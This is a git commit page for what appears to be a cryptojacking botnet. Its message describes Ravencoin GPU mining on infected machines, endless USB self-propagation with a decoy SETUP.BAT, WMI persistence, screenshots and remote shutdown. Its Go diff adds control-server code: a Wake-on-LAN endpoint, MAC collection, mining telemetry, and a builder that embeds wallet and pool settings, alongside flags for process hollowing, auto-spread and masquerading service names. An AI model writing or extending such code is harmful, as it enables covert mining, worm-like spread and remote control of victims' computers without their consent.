Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
@@ -1,12 +1,15 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -336,6 +339,77 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
})
|
||||
}
|
||||
|
||||
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.
|
||||
// The packet is broadcast on UDP port 9 to the last known subnet.
|
||||
func (f *FleetHandler) PostAgentWOL(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "agent id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// Accept optional override MAC from request body
|
||||
var req struct {
|
||||
MAC string `json:"mac"`
|
||||
}
|
||||
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||
|
||||
// Look up MAC from DB if not provided
|
||||
mac := req.MAC
|
||||
if mac == "" {
|
||||
agent, err := f.db.GetAgent(id)
|
||||
if err != nil || agent == nil {
|
||||
writeJSON(w, map[string]interface{}{"success": false, "error": "agent not found"})
|
||||
return
|
||||
}
|
||||
mac = agent.MacAddress
|
||||
}
|
||||
if mac == "" {
|
||||
writeJSON(w, map[string]interface{}{"success": false, "error": "no MAC address on record — provide mac in request body"})
|
||||
return
|
||||
}
|
||||
|
||||
if err := sendMagicPacket(mac); err != nil {
|
||||
writeJSON(w, map[string]interface{}{"success": false, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"success": true, "mac": mac})
|
||||
}
|
||||
|
||||
// sendMagicPacket sends a WOL magic packet for the given MAC address.
|
||||
func sendMagicPacket(macStr string) error {
|
||||
macStr = strings.ReplaceAll(macStr, "-", ":")
|
||||
hw, err := net.ParseMAC(macStr)
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid MAC address %q: %w", macStr, err)
|
||||
}
|
||||
|
||||
// Magic packet: 6× 0xFF followed by 16× MAC address (102 bytes total)
|
||||
pkt := make([]byte, 102)
|
||||
for i := 0; i < 6; i++ {
|
||||
pkt[i] = 0xFF
|
||||
}
|
||||
for i := 1; i <= 16; i++ {
|
||||
copy(pkt[i*6:], hw)
|
||||
}
|
||||
|
||||
// Broadcast on limited broadcast address, port 9
|
||||
addr := &net.UDPAddr{IP: net.IPv4bcast, Port: 9}
|
||||
conn, err := net.DialUDP("udp4", nil, addr)
|
||||
if err != nil {
|
||||
// Try port 7 as fallback
|
||||
addr.Port = 7
|
||||
conn, err = net.DialUDP("udp4", nil, addr)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to open UDP socket: %w", err)
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
_, err = conn.Write(pkt)
|
||||
_ = binary.BigEndian // ensure import is used
|
||||
return err
|
||||
}
|
||||
|
||||
type agentMetaRequest struct {
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
|
||||
@@ -442,6 +442,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
||||
if fleetHandler != nil {
|
||||
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
||||
r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL)
|
||||
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
||||
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
||||
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)
|
||||
|
||||
@@ -388,10 +388,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
}
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "invalid auth payload",
|
||||
@@ -514,6 +515,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Arch: auth.Arch,
|
||||
OSVersion: auth.OSVersion,
|
||||
Hostname: auth.Hostname,
|
||||
MacAddress: auth.MacAddress,
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -598,6 +600,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||
// GPU / Ravencoin mining
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
// SSH + posture
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
PostureScore *int `json:"posture_score,omitempty"`
|
||||
@@ -656,6 +664,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
|
||||
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
|
||||
|
||||
// GPU / Ravencoin mining stats
|
||||
if stats.GPUMinerActive != nil {
|
||||
broadcast["gpu_miner_active"] = *stats.GPUMinerActive
|
||||
}
|
||||
if stats.GPUHashrate15s > 0 { broadcast["gpu_hashrate_15s"] = stats.GPUHashrate15s }
|
||||
if stats.GPUHashrate1m > 0 { broadcast["gpu_hashrate_1m"] = stats.GPUHashrate1m }
|
||||
if stats.GPUHashrate15m > 0 { broadcast["gpu_hashrate_15m"] = stats.GPUHashrate15m }
|
||||
if stats.GPUModel != "" { broadcast["gpu_model"] = stats.GPUModel }
|
||||
|
||||
// Listen port count
|
||||
if stats.ListenPortCount != nil {
|
||||
broadcast["listen_port_count"] = *stats.ListenPortCount
|
||||
|
||||
@@ -85,6 +85,15 @@ type BuildRequest struct {
|
||||
// CancelToken is a client-generated UUID. Pass the same token to
|
||||
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
|
||||
CancelToken string `json:"cancel_token,omitempty"`
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUEnabled bool `json:"gpu_enabled"`
|
||||
RVNWallet string `json:"rvn_wallet"`
|
||||
RVNPoolHost string `json:"rvn_pool_host"`
|
||||
RVNPoolPort int `json:"rvn_pool_port"`
|
||||
RVNPoolTLS bool `json:"rvn_pool_tls"`
|
||||
RVNPoolPass string `json:"rvn_pool_pass"`
|
||||
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -1014,6 +1023,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
FleetSecret: %q,
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUEnabled: %v,
|
||||
RVNWallet: %q,
|
||||
RVNPoolHost: %q,
|
||||
RVNPoolPort: %d,
|
||||
RVNPoolTLS: %v,
|
||||
RVNPoolPass: %q,
|
||||
RVNBackupPools: %s,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1067,9 +1085,37 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
h.fleetSecret,
|
||||
req.GPUEnabled,
|
||||
req.RVNWallet,
|
||||
rvnPoolHost(req),
|
||||
rvnPoolPort(req),
|
||||
req.RVNPoolTLS,
|
||||
rvnPoolPass(req),
|
||||
formatGoBackupPools(req.RVNBackupPools),
|
||||
)
|
||||
}
|
||||
|
||||
func rvnPoolHost(req *BuildRequest) string {
|
||||
if req.RVNPoolHost == "" {
|
||||
return "rvn.2miners.com"
|
||||
}
|
||||
return req.RVNPoolHost
|
||||
}
|
||||
|
||||
func rvnPoolPort(req *BuildRequest) int {
|
||||
if req.RVNPoolPort <= 0 {
|
||||
return 6060
|
||||
}
|
||||
return req.RVNPoolPort
|
||||
}
|
||||
|
||||
func rvnPoolPass(req *BuildRequest) string {
|
||||
if req.RVNPoolPass == "" {
|
||||
return "x"
|
||||
}
|
||||
return req.RVNPoolPass
|
||||
}
|
||||
|
||||
// formatGoBackupPools emits a Go literal for []config.BackupPool.
|
||||
func formatGoBackupPools(pools []BackupPool) string {
|
||||
if len(pools) == 0 {
|
||||
|
||||
@@ -40,7 +40,7 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -52,7 +52,7 @@ func (d *Database) scanAgent(row interface {
|
||||
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname`
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
@@ -125,6 +125,7 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -132,8 +133,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?)
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -146,8 +147,9 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
platform = excluded.platform,
|
||||
arch = excluded.arch,
|
||||
os_version = excluded.os_version,
|
||||
hostname = excluded.hostname`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname)
|
||||
hostname = excluded.hostname,
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress)
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
@@ -28,10 +28,11 @@ type Agent struct {
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
|
||||
Platform string `json:"platform,omitempty"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
OSVersion string `json:"os_version,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
Platform string `json:"platform,omitempty"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
OSVersion string `json:"os_version,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
|
||||
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
||||
LatencyMs *int `json:"latency_ms,omitempty"`
|
||||
@@ -57,6 +58,13 @@ type Agent struct {
|
||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
|
||||
// Crucible — SSH status probed by the agent every ~60s
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
|
||||
|
||||
Reference in New Issue
Block a user